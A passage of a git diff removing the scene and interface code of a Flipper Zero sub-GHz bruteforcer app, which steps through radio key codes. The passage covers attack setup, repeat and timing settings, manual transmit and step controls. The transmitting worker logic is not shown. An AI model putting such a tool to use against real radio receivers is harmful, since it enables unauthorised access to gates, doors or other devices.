event) { - SubBruteState* instance = (SubBruteState*)context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubBruteCustomEventTypeIndexSelected) { - /*#ifdef FURI_DEBUG && !SUBBRUTE_FAST_TRACK - view_dispatcher_stop(instance->view_dispatcher); - consumed = true; -#else*/ - instance->device->current_step = 0; - instance->device->bit_index = subbrute_main_view_get_index(instance->view_main); - instance->device->two_bytes = subbrute_main_view_get_two_bytes(instance->view_main); - - instance->settings->last_index = instance->device->attack; - subbrute_settings_set_repeats( - instance->settings, subbrute_main_view_get_extra_repeats(instance->view_main)); - uint8_t total_repeats = subbrute_settings_get_current_repeats(instance->settings); - - instance->device->max_value = subbrute_protocol_calc_max_value( - instance->device->attack, - instance->device->bit_index, - instance->device->two_bytes); - - if(!subbrute_worker_init_file_attack( - instance->worker, - instance->device->current_step, - instance->device->bit_index, - instance->device->key_from_file, - instance->device->file_protocol_info, - total_repeats, - instance->device->two_bytes)) { - furi_crash("Invalid attack set!"); - } - subbrute_settings_save(instance->settings); - scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); - /*#endif*/ - consumed = true; - } /* else if(event.event == SubBruteCustomEventTypeChangeStepUp) { - instance->device->two_bytes = true; - } else if(event.event == SubBruteCustomEventTypeChangeStepDown) { - instance->device->two_bytes = false; - }*/ - } else if(event.type == SceneManagerEventTypeBack) { - if(!scene_manager_search_and_switch_to_previous_scene( - instance->scene_manager, SubBruteSceneStart)) { - scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); - } - consumed = true; - } - - return consumed; -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c deleted file mode 100644 index 2f22c25d4..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c +++ /dev/null @@ -1,104 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" - -#define TAG "SubBruteSceneRunAttack" - -static void subbrute_scene_run_attack_callback(SubBruteCustomEvent event, void* context) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - view_dispatcher_send_custom_event(instance->view_dispatcher, event); -} - -static void - subbrute_scene_run_attack_device_state_changed(void* context, SubBruteWorkerState state) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - - if(state == SubBruteWorkerStateIDLE) { - // Can't be IDLE on this step! - view_dispatcher_send_custom_event(instance->view_dispatcher, SubBruteCustomEventTypeError); - } else if(state == SubBruteWorkerStateFinished) { - view_dispatcher_send_custom_event( - instance->view_dispatcher, SubBruteCustomEventTypeTransmitFinished); - } -} -void subbrute_scene_run_attack_on_exit(void* context) { - furi_assert(context); - SubBruteState* instance = (SubBruteState*)context; - - notification_message(instance->notifications, &sequence_blink_stop); - subbrute_worker_stop(instance->worker); -} - -void subbrute_scene_run_attack_on_enter(void* context) { - furi_assert(context); - SubBruteState* instance = (SubBruteState*)context; - SubBruteAttackView* view = instance->view_attack; - - instance->current_view = SubBruteViewAttack; - subbrute_attack_view_set_callback(view, subbrute_scene_run_attack_callback, instance); - view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); - - subbrute_worker_set_callback( - instance->worker, subbrute_scene_run_attack_device_state_changed, instance); - - if(!subbrute_worker_is_running(instance->worker)) { - subbrute_worker_set_step(instance->worker, instance->device->current_step); - if(!subbrute_worker_start(instance->worker)) { - view_dispatcher_send_custom_event( - instance->view_dispatcher, SubBruteCustomEventTypeError); - } else { - notification_message(instance->notifications, &sequence_single_vibro); - notification_message(instance->notifications, &sequence_blink_start_yellow); - } - } -} - -bool subbrute_scene_run_attack_on_event(void* context, SceneManagerEvent event) { - SubBruteState* instance = (SubBruteState*)context; - SubBruteAttackView* view = instance->view_attack; - - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - uint64_t step = subbrute_worker_get_step(instance->worker); - instance->device->current_step = step; - subbrute_attack_view_set_current_step(view, step); - - if(event.event == SubBruteCustomEventTypeTransmitFinished) { - notification_message(instance->notifications, &sequence_display_backlight_on); - notification_message(instance->notifications, &sequence_double_vibro); - - scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); - } else if( - event.event == SubBruteCustomEventTypeTransmitNotStarted || - event.event == SubBruteCustomEventTypeBackPressed) { - if(subbrute_worker_is_running(instance->worker)) { - // Notify - notification_message(instance->notifications, &sequence_single_vibro); - } - // Stop transmit - scene_manager_search_and_switch_to_previous_scene( - instance->scene_manager, SubBruteSceneSetupAttack); - } else if(event.event == SubBruteCustomEventTypeError) { - notification_message(instance->notifications, &sequence_error); - - // Stop transmit - scene_manager_search_and_switch_to_previous_scene( - instance->scene_manager, SubBruteSceneSetupAttack); - } else if(event.event == SubBruteCustomEventTypeUpdateView) { - //subbrute_attack_view_set_current_step(view, instance->device->current_step); - } - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - uint64_t step = subbrute_worker_get_step(instance->worker); - instance->device->current_step = step; - subbrute_attack_view_set_current_step(view, step); - - consumed = true; - } - - return consumed; -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c deleted file mode 100644 index db02fd7e3..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_name.c +++ /dev/null @@ -1,87 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" -#include - -#define TAG "SubBruteSceneSaveFile" - -void subbrute_scene_save_name_on_enter(void* context) { - SubBruteState* instance = (SubBruteState*)context; - - // Setup view - TextInput* text_input = instance->text_input; - name_generator_make_auto( - instance->text_store, - sizeof(instance->text_store), - subbrute_protocol_file(instance->device->protocol_info->file)); - - text_input_set_header_text(text_input, "Name of file"); - text_input_set_result_callback( - text_input, - subbrute_text_input_callback, - instance, - instance->text_store, - SUBBRUTE_MAX_LEN_NAME, - true); - - furi_string_reset(instance->file_path); - furi_string_set_str(instance->file_path, SUBBRUTE_PATH); - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - furi_string_get_cstr(instance->file_path), SUBBRUTE_FILE_EXT, ""); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - view_dispatcher_switch_to_view(instance->view_dispatcher, SubBruteViewTextInput); -} - -bool subbrute_scene_save_name_on_event(void* context, SceneManagerEvent event) { - SubBruteState* instance = (SubBruteState*)context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeBack) { - scene_manager_previous_scene(instance->scene_manager); - return true; - } else if( - event.type == SceneManagerEventTypeCustom && - event.event == SubBruteCustomEventTypeTextEditDone) { -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Saving: %s", instance->text_store); -#endif - bool success = false; - if(strcmp(instance->text_store, "")) { - furi_string_reset(instance->file_path); - furi_string_cat_printf( - instance->file_path, - "%s/%s%s", - SUBBRUTE_PATH, - instance->text_store, - SUBBRUTE_FILE_EXT); - - if(subbrute_device_save_file( - instance->device, furi_string_get_cstr(instance->file_path))) { - scene_manager_next_scene(instance->scene_manager, SubBruteSceneSaveSuccess); - success = true; - consumed = true; - } - } - - if(!success) { - dialog_message_show_storage_error(instance->dialogs, "Error during saving!"); - consumed = scene_manager_search_and_switch_to_previous_scene( - instance->scene_manager, SubBruteSceneSetupAttack); - } - } - return consumed; -} - -void subbrute_scene_save_name_on_exit(void* context) { - SubBruteState* instance = (SubBruteState*)context; - - // Clear view - void* validator_context = text_input_get_validator_callback_context(instance->text_input); - text_input_set_validator(instance->text_input, NULL, NULL); - validator_is_file_free(validator_context); - - text_input_reset(instance->text_input); - - furi_string_reset(instance->file_path); -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c deleted file mode 100644 index 20b1a0de4..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_save_success.c +++ /dev/null @@ -1,51 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" - -void subbrute_scene_save_success_on_enter(void* context) { - furi_assert(context); - SubBruteState* instance = context; - - // Setup view - Popup* popup = instance->popup; - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, instance); - popup_set_callback(popup, subbrute_popup_closed_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(instance->view_dispatcher, SubBruteViewPopup); -} - -bool subbrute_scene_save_success_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - //SubBruteMainView* view = instance->view_main; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubBruteCustomEventTypePopupClosed) { - if(!scene_manager_search_and_switch_to_previous_scene( - instance->scene_manager, SubBruteSceneSetupAttack)) { - scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); - } - return true; - } - } - return false; -} - -void subbrute_scene_save_success_on_exit(void* context) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - - // Clear view - Popup* popup = instance->popup; - popup_set_header(popup, NULL, 0, 0, AlignCenter, AlignBottom); - popup_set_text(popup, NULL, 0, 0, AlignCenter, AlignTop); - popup_set_icon(popup, 0, 0, NULL); - popup_set_callback(popup, NULL); - popup_set_context(popup, NULL); - popup_set_timeout(popup, 0); - popup_disable_timeout(popup); -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c deleted file mode 100644 index 3977ba5c9..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c +++ /dev/null @@ -1,140 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" - -#define TAG "SubBruteSceneSetupAttack" - -static void subbrute_scene_setup_attack_callback(SubBruteCustomEvent event, void* context) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - view_dispatcher_send_custom_event(instance->view_dispatcher, event); -} - -static void - subbrute_scene_setup_attack_device_state_changed(void* context, SubBruteWorkerState state) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - - if(state == SubBruteWorkerStateIDLE) { - // Can't be IDLE on this step! - view_dispatcher_send_custom_event(instance->view_dispatcher, SubBruteCustomEventTypeError); - } -} - -void subbrute_scene_setup_attack_on_enter(void* context) { - furi_assert(context); - SubBruteState* instance = (SubBruteState*)context; - SubBruteAttackView* view = instance->view_attack; - - notification_message(instance->notifications, &sequence_reset_vibro); - -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Enter Attack: %s", subbrute_protocol_name(instance->device->attack)); -#endif - - subbrute_worker_set_callback( - instance->worker, subbrute_scene_setup_attack_device_state_changed, context); - if(subbrute_worker_is_running(instance->worker)) { - subbrute_worker_stop(instance->worker); - instance->device->current_step = subbrute_worker_get_step(instance->worker); - } - - subbrute_attack_view_init_values( - view, - instance->device->attack, - instance->device->max_value, - instance->device->current_step, - false, - subbrute_worker_get_repeats(instance->worker)); - - instance->current_view = SubBruteViewAttack; - subbrute_attack_view_set_callback(view, subbrute_scene_setup_attack_callback, instance); - view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); -} - -void subbrute_scene_setup_attack_on_exit(void* context) { - furi_assert(context); -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_scene_setup_attack_on_exit"); -#endif - SubBruteState* instance = (SubBruteState*)context; - subbrute_worker_stop(instance->worker); - notification_message(instance->notifications, &sequence_blink_stop); - notification_message(instance->notifications, &sequence_reset_vibro); -} - -bool subbrute_scene_setup_attack_on_event(void* context, SceneManagerEvent event) { - SubBruteState* instance = (SubBruteState*)context; - SubBruteAttackView* view = instance->view_attack; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubBruteCustomEventTypeTransmitStarted) { - scene_manager_next_scene(instance->scene_manager, SubBruteSceneRunAttack); - } else if(event.event == SubBruteCustomEventTypeSaveFile) { - subbrute_attack_view_init_values( - view, - instance->device->attack, - instance->device->max_value, - instance->device->current_step, - false, - instance->device->extra_repeats); - scene_manager_next_scene(instance->scene_manager, SubBruteSceneSaveName); - } else if(event.event == SubBruteCustomEventTypeExtraSettings) { - scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupExtra); - } else if(event.event == SubBruteCustomEventTypeBackPressed) { - subbrute_attack_view_init_values( - view, - instance->device->attack, - instance->device->max_value, - instance->device->current_step, - false, - instance->device->extra_repeats); - scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); - } else if(event.event == SubBruteCustomEventTypeError) { - notification_message(instance->notifications, &sequence_error); - } else if(event.event == SubBruteCustomEventTypeTransmitCustom) { - // We can transmit only in not working states - if(subbrute_worker_can_manual_transmit(instance->worker)) { - // MANUAL Transmit! - // Blink - notification_message(instance->notifications, &sequence_blink_green_100); - subbrute_worker_transmit_current_key( - instance->worker, instance->device->current_step); - // Stop - notification_message(instance->notifications, &sequence_blink_stop); - } - } else if(event.event == SubBruteCustomEventTypeChangeStepUp) { - // +1 - uint64_t step = subbrute_device_add_step(instance->device, 1); - subbrute_worker_set_step(instance->worker, step); - subbrute_attack_view_set_current_step(view, step); - } else if(event.event == SubBruteCustomEventTypeChangeStepUpMore) { - // +50 - uint64_t step = subbrute_device_add_step(instance->device, 50); - subbrute_worker_set_step(instance->worker, step); - subbrute_attack_view_set_current_step(view, step); - } else if(event.event == SubBruteCustomEventTypeChangeStepDown) { - // -1 - uint64_t step = subbrute_device_add_step(instance->device, -1); - subbrute_worker_set_step(instance->worker, step); - subbrute_attack_view_set_current_step(view, step); - } else if(event.event == SubBruteCustomEventTypeChangeStepDownMore) { - // -50 - uint64_t step = subbrute_device_add_step(instance->device, -50); - subbrute_worker_set_step(instance->worker, step); - subbrute_attack_view_set_current_step(view, step); - } - - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - if(subbrute_worker_is_running(instance->worker)) { - instance->device->current_step = subbrute_worker_get_step(instance->worker); - } - subbrute_attack_view_set_current_step(view, instance->device->current_step); - consumed = true; - } - - return consumed; -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_extra.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_extra.c deleted file mode 100644 index cbb19fb26..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_setup_extra.c +++ /dev/null @@ -1,281 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" - -#define TAG "SubBruteSceneLoadFile" - -#define MIN_TD 0 -#define MAX_TD 255 -#define MIN_REP 1 -#define MAX_REP 100 -#define MIN_TE 100 -#define MAX_TE 600 - -enum SubBruteVarListIndex { - SubBruteVarListIndexTimeDelay, - SubBruteVarListIndexRepeatOrOnExtra, - SubBruteVarListIndexTe, -}; - -static void setup_extra_enter_callback(void* context, uint32_t index); - -static void setup_extra_td_callback(VariableItem* item) { - furi_assert(item); - SubBruteState* instance = variable_item_get_context(item); - furi_assert(instance); - char buf[6]; - - const uint8_t index = variable_item_get_current_value_index(item); - uint8_t val = subbrute_worker_get_timeout(instance->worker); - - if(index == 0) { - if(val > MIN_TD) { - val--; - subbrute_worker_set_timeout(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MIN_TD) { - variable_item_set_current_value_index(item, 0); - } - } - } else if(index == 2) { - if(val < MAX_TD) { - val++; - subbrute_worker_set_timeout(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MAX_TD) { - variable_item_set_current_value_index(item, 2); - } - } - } else if(index == 1) { - if(val == MIN_TD) { - val++; - subbrute_worker_set_timeout(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MAX_TD) { - variable_item_set_current_value_index(item, 2); - } - } else if(val == MAX_TD) { - val--; - subbrute_worker_set_timeout(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MIN_TD) { - variable_item_set_current_value_index(item, 0); - } - } - } -} - -static void setup_extra_rep_callback(VariableItem* item) { - furi_assert(item); - SubBruteState* instance = variable_item_get_context(item); - furi_assert(instance); - char buf[6]; - - const uint8_t index = variable_item_get_current_value_index(item); - uint8_t val = subbrute_worker_get_repeats(instance->worker); - - if(index == 0) { - if(val > MIN_REP) { - val--; - subbrute_worker_set_repeats(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MIN_REP) { - variable_item_set_current_value_index(item, 0); - } - } - } else if(index == 2) { - if(val < MAX_REP) { - val++; - subbrute_worker_set_repeats(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MAX_REP) { - variable_item_set_current_value_index(item, 2); - } - } - } else if(index == 1) { - if(val == MIN_REP) { - val++; - subbrute_worker_set_repeats(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MAX_REP) { - variable_item_set_current_value_index(item, 2); - } - } else if(val == MAX_REP) { - val--; - subbrute_worker_set_repeats(instance->worker, val); - snprintf(&buf[0], 5, "%d", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MIN_REP) { - variable_item_set_current_value_index(item, 0); - } - } - } -} - -static void setup_extra_te_callback(VariableItem* item) { - furi_assert(item); - SubBruteState* instance = variable_item_get_context(item); - furi_assert(instance); - char buf[6]; - - const uint8_t index = variable_item_get_current_value_index(item); - uint32_t val = subbrute_worker_get_te(instance->worker); - - if(index == 0) { - if(val > MIN_TE) { - val--; - subbrute_worker_set_te(instance->worker, val); - snprintf(&buf[0], 5, "%ld", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MIN_TE) { - variable_item_set_current_value_index(item, 0); - } - } - } else if(index == 2) { - if(val < MAX_TE) { - val++; - subbrute_worker_set_te(instance->worker, val); - snprintf(&buf[0], 5, "%ld", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MAX_TE) { - variable_item_set_current_value_index(item, 2); - } - } - } else if(index == 1) { - if(val == MIN_TE) { - val++; - subbrute_worker_set_te(instance->worker, val); - snprintf(&buf[0], 5, "%ld", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MAX_TE) { - variable_item_set_current_value_index(item, 2); - } - } else if(val == MAX_TE) { - val--; - subbrute_worker_set_te(instance->worker, val); - snprintf(&buf[0], 5, "%ld", val); - variable_item_set_current_value_text(item, &buf[0]); - variable_item_set_current_value_index(item, 1); - if(val == MIN_TE) { - variable_item_set_current_value_index(item, 0); - } - } - } -} - -static void subbrute_scene_setup_extra_init_var_list(SubBruteState* instance, bool on_extra) { - furi_assert(instance); - char str[6]; - VariableItem* item; - static bool extra = false; - if(on_extra) { - extra = true; - } - - VariableItemList* var_list = instance->var_list; - - variable_item_list_reset(var_list); - - item = variable_item_list_add(var_list, "TimeDelay", 3, setup_extra_td_callback, instance); - snprintf(&str[0], 5, "%d", subbrute_worker_get_timeout(instance->worker)); - variable_item_set_current_value_text(item, &str[0]); - switch(subbrute_worker_get_timeout(instance->worker)) { - case MIN_TD: - variable_item_set_current_value_index(item, 0); - break; - case MAX_TD: - variable_item_set_current_value_index(item, 2); - break; - - default: - variable_item_set_current_value_index(item, 1); - break; - } - - if(extra) { - item = variable_item_list_add(var_list, "Repeats", 3, setup_extra_rep_callback, instance); - snprintf(&str[0], 5, "%d", subbrute_worker_get_repeats(instance->worker)); - variable_item_set_current_value_text(item, &str[0]); - switch(subbrute_worker_get_repeats(instance->worker)) { - case MIN_REP: - variable_item_set_current_value_index(item, 0); - break; - case MAX_REP: - variable_item_set_current_value_index(item, 2); - break; - - default: - variable_item_set_current_value_index(item, 1); - break; - } - const uint32_t te = subbrute_worker_get_te(instance->worker); - if(te != 0) { - item = variable_item_list_add(var_list, "Te", 3, setup_extra_te_callback, instance); - snprintf(&str[0], 5, "%ld", te); - variable_item_set_current_value_text(item, &str[0]); - switch(te) { - case MIN_TE: - variable_item_set_current_value_index(item, 0); - break; - case MAX_TE: - variable_item_set_current_value_index(item, 2); - break; - - default: - variable_item_set_current_value_index(item, 1); - break; - } - } - } else { - item = variable_item_list_add(var_list, "Show Extra", 0, NULL, NULL); - } - - variable_item_list_set_enter_callback(var_list, setup_extra_enter_callback, instance); - view_dispatcher_switch_to_view(instance->view_dispatcher, SubBruteViewVarList); -} - -static void setup_extra_enter_callback(void* context, uint32_t index) { - furi_assert(context); - SubBruteState* instance = context; - - if(index == SubBruteVarListIndexRepeatOrOnExtra) { - subbrute_scene_setup_extra_init_var_list(instance, true); - } -} - -void subbrute_scene_setup_extra_on_enter(void* context) { - furi_assert(context); - SubBruteState* instance = context; - - subbrute_scene_setup_extra_init_var_list(instance, false); -} - -void subbrute_scene_setup_extra_on_exit(void* context) { - furi_assert(context); - SubBruteState* instance = context; - - variable_item_list_reset(instance->var_list); -} - -bool subbrute_scene_setup_extra_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c deleted file mode 100644 index da8814a22..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_start.c +++ /dev/null @@ -1,95 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" - -#define TAG "SubBruteSceneStart" - -void subbrute_scene_start_callback(SubBruteCustomEvent event, void* context) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - view_dispatcher_send_custom_event(instance->view_dispatcher, event); -} - -void subbrute_scene_start_on_enter(void* context) { - furi_assert(context); -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "subbrute_scene_start_on_enter"); -#endif - SubBruteState* instance = (SubBruteState*)context; - SubBruteMainView* view = instance->view_main; - - instance->current_view = SubBruteViewMain; - subbrute_main_view_set_callback(view, subbrute_scene_start_callback, instance); - - instance->device->attack = instance->settings->last_index; - - subbrute_main_view_set_index( - view, - instance->settings->last_index, - instance->settings->repeat_values, - false, - instance->device->two_bytes, - 0); - - view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); -} - -void subbrute_scene_start_on_exit(void* context) { - furi_assert(context); -} - -bool subbrute_scene_start_on_event(void* context, SceneManagerEvent event) { - SubBruteState* instance = (SubBruteState*)context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { -#ifdef FURI_DEBUG - FURI_LOG_D( - TAG, - "Event: %ld, SubBruteCustomEventTypeMenuSelected: %s, SubBruteCustomEventTypeLoadFile: %s", - event.event, - event.event == SubBruteCustomEventTypeMenuSelected ? "true" : "false", - event.event == SubBruteCustomEventTypeLoadFile ? "true" : "false"); -#endif - if(event.event == SubBruteCustomEventTypeMenuSelected) { - instance->settings->last_index = subbrute_main_view_get_index(instance->view_main); - subbrute_settings_set_repeats( - instance->settings, subbrute_main_view_get_extra_repeats(instance->view_main)); - uint8_t total_repeats = subbrute_settings_get_current_repeats(instance->settings); - - if((subbrute_device_attack_set( - instance->device, instance->settings->last_index, total_repeats) != - SubBruteFileResultOk) || - (!subbrute_worker_init_default_attack( - instance->worker, - instance->settings->last_index, - instance->device->current_step, - instance->device->protocol_info, - instance->device->extra_repeats))) { - furi_crash("Invalid attack set!"); - } - subbrute_settings_save(instance->settings); - scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); - - consumed = true; - } else if(event.event == SubBruteCustomEventTypeLoadFile) { - //uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); - - //instance->device->extra_repeats = extra_repeats; - scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadFile); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - //exit app - instance->settings->last_index = subbrute_main_view_get_index(instance->view_main); - subbrute_settings_set_repeats( - instance->settings, subbrute_main_view_get_extra_repeats(instance->view_main)); - subbrute_settings_save(instance->settings); - - scene_manager_stop(instance->scene_manager); - view_dispatcher_stop(instance->view_dispatcher); - consumed = true; - } - - return consumed; -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbute_scene.c b/applications/external/subghz_bruteforcer/scenes/subbute_scene.c deleted file mode 100644 index 6d9ba9799..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbute_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "subbrute_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const subbrute_on_enter_handlers[])(void*) = { -#include "subbrute_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const subbrute_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "subbrute_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const subbrute_on_exit_handlers[])(void* context) = { -#include "subbrute_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers subbrute_scene_handlers = { - .on_enter_handlers = subbrute_on_enter_handlers, - .on_event_handlers = subbrute_on_event_handlers, - .on_exit_handlers = subbrute_on_exit_handlers, - .scene_num = SubBruteSceneNum, -}; diff --git a/applications/external/subghz_bruteforcer/subbrute.c b/applications/external/subghz_bruteforcer/subbrute.c deleted file mode 100644 index c115bd4e0..000000000 --- a/applications/external/subghz_bruteforcer/subbrute.c +++ /dev/null @@ -1,220 +0,0 @@ -#include "subbrute_i.h" -#include "scenes/subbrute_scene.h" - -#define TAG "SubBruteApp" - -static bool subbrute_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - SubBruteState* instance = context; - return scene_manager_handle_custom_event(instance->scene_manager, event); -} - -static bool subbrute_back_event_callback(void* context) { - furi_assert(context); - SubBruteState* instance = context; - return scene_manager_handle_back_event(instance->scene_manager); -} - -static void subbrute_tick_event_callback(void* context) { - furi_assert(context); - SubBruteState* instance = context; - scene_manager_handle_tick_event(instance->scene_manager); -} - -SubBruteState* subbrute_alloc() { - SubBruteState* instance = malloc(sizeof(SubBruteState)); - - memset(instance->text_store, 0, sizeof(instance->text_store)); - instance->file_path = furi_string_alloc(); - - instance->scene_manager = scene_manager_alloc(&subbrute_scene_handlers, instance); - instance->view_dispatcher = view_dispatcher_alloc(); - - instance->gui = furi_record_open(RECORD_GUI); - - view_dispatcher_enable_queue(instance->view_dispatcher); - view_dispatcher_set_event_callback_context(instance->view_dispatcher, instance); - view_dispatcher_set_custom_event_callback( - instance->view_dispatcher, subbrute_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - instance->view_dispatcher, subbrute_back_event_callback); - view_dispatcher_set_tick_event_callback( - instance->view_dispatcher, subbrute_tick_event_callback, 100); - - //Dialog - instance->dialogs = furi_record_open(RECORD_DIALOGS); - - // Notifications - instance->notifications = furi_record_open(RECORD_NOTIFICATION); - - subghz_devices_init(); - - // init radio device - instance->radio_device = subbrute_radio_device_loader_set( - instance->radio_device, SubGhzRadioDeviceTypeExternalCC1101); - - subghz_devices_reset(instance->radio_device); - subghz_devices_idle(instance->radio_device); - - // Devices - instance->device = subbrute_device_alloc(instance->radio_device); - - // SubBruteWorker - instance->worker = subbrute_worker_alloc(instance->radio_device); - - // TextInput - instance->text_input = text_input_alloc(); - view_dispatcher_add_view( - instance->view_dispatcher, - SubBruteViewTextInput, - text_input_get_view(instance->text_input)); - - // Custom Widget - instance->widget = widget_alloc(); - view_dispatcher_add_view( - instance->view_dispatcher, SubBruteViewWidget, widget_get_view(instance->widget)); - - // VarList - instance->var_list = variable_item_list_alloc(); - view_dispatcher_add_view( - instance->view_dispatcher, - SubBruteViewVarList, - variable_item_list_get_view(instance->var_list)); - - // Popup - instance->popup = popup_alloc(); - view_dispatcher_add_view( - instance->view_dispatcher, SubBruteViewPopup, popup_get_view(instance->popup)); - - // ViewStack - instance->view_stack = view_stack_alloc(); - view_dispatcher_add_view( - instance->view_dispatcher, SubBruteViewStack, view_stack_get_view(instance->view_stack)); - - // SubBruteMainView - instance->view_main = subbrute_main_view_alloc(); - view_dispatcher_add_view( - instance->view_dispatcher, - SubBruteViewMain, - subbrute_main_view_get_view(instance->view_main)); - - // SubBruteAttackView - instance->view_attack = subbrute_attack_view_alloc(); - view_dispatcher_add_view( - instance->view_dispatcher, - SubBruteViewAttack, - subbrute_attack_view_get_view(instance->view_attack)); - - instance->settings = subbrute_settings_alloc(); - subbrute_settings_load(instance->settings); - //instance->flipper_format = flipper_format_string_alloc(); - //instance->environment = subghz_environment_alloc(); - - // Uncomment to enable Debug pin output on PIN 17(1W) - // subghz_devices_set_async_mirror_pin(instance->radio_device, &gpio_ibutton); - - return instance; -} - -void subbrute_free(SubBruteState* instance) { - furi_assert(instance); - - // Uncomment to enable Debug pin output on PIN 17(1W) - // subghz_devices_set_async_mirror_pin(instance->radio_device, NULL); - - // SubBruteWorker - subbrute_worker_stop(instance->worker); - subbrute_worker_free(instance->worker); - - // SubBruteDevice - 